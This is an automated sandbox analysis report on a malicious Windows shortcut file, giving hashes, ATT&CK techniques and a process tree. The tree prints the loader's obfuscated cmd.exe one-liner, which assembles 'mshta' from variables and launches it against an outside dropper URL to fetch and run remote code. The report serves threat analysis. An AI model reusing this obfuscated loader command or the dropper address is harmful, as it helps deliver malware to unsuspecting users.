bb226169cea019279045c211a2d2e9c43c6591898eb6966097d1e21c062909d2

Analysis

max time kernel
149s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
04/08/2026, 08:19

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General

Target
DOC-YCFHC2.lnk
Size 1KB
Sample260804-j74d3azyev
SHA256 bb226169cea019279045c211a2d2e9c43c6591898eb6966097d1e21c062909d2
MD5 054d0925f4e8b8bfb7bf349b450e624f
SHA1 4a487c7357d730ecebc8f4b2dabfa6d72afab5e5
SHA512 f5ed79f2f6ac2d8da40ea7e964bdd9e2c6b13484aa2482709233e7008b4786d21ccb9194806e8fa69afd2e5728b754e43ea6bc05e0712aadf083f68551fe8603
TLSH
T1433147106FFD0664F3F79FB684BB5B1089BBB8568D20C62E4150854C1072A01E6BAF7B
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://documntacion.lat/h/estagio1.php?r=3F1477F15398D1

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2652	cmd.exe
2040	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2652 wrote to memory of 2040	2652	cmd.exe	86
PID 2040 wrote to memory of 1928	2040	cmd.exe	87

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-YCFHC2.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2652
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /V:on /C "set sk=msh&&set yChbG=ta&&start "" !sk!!yChbG! https://documntacion.lat/h/estagio1.php?r=3F1477F15398D1"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2040
- - C:\Windows\System32\mshta.exe
    mshta https://documntacion.lat/h/estagio1.php?r=3F1477F15398D1
    3⤵
    PID:1928

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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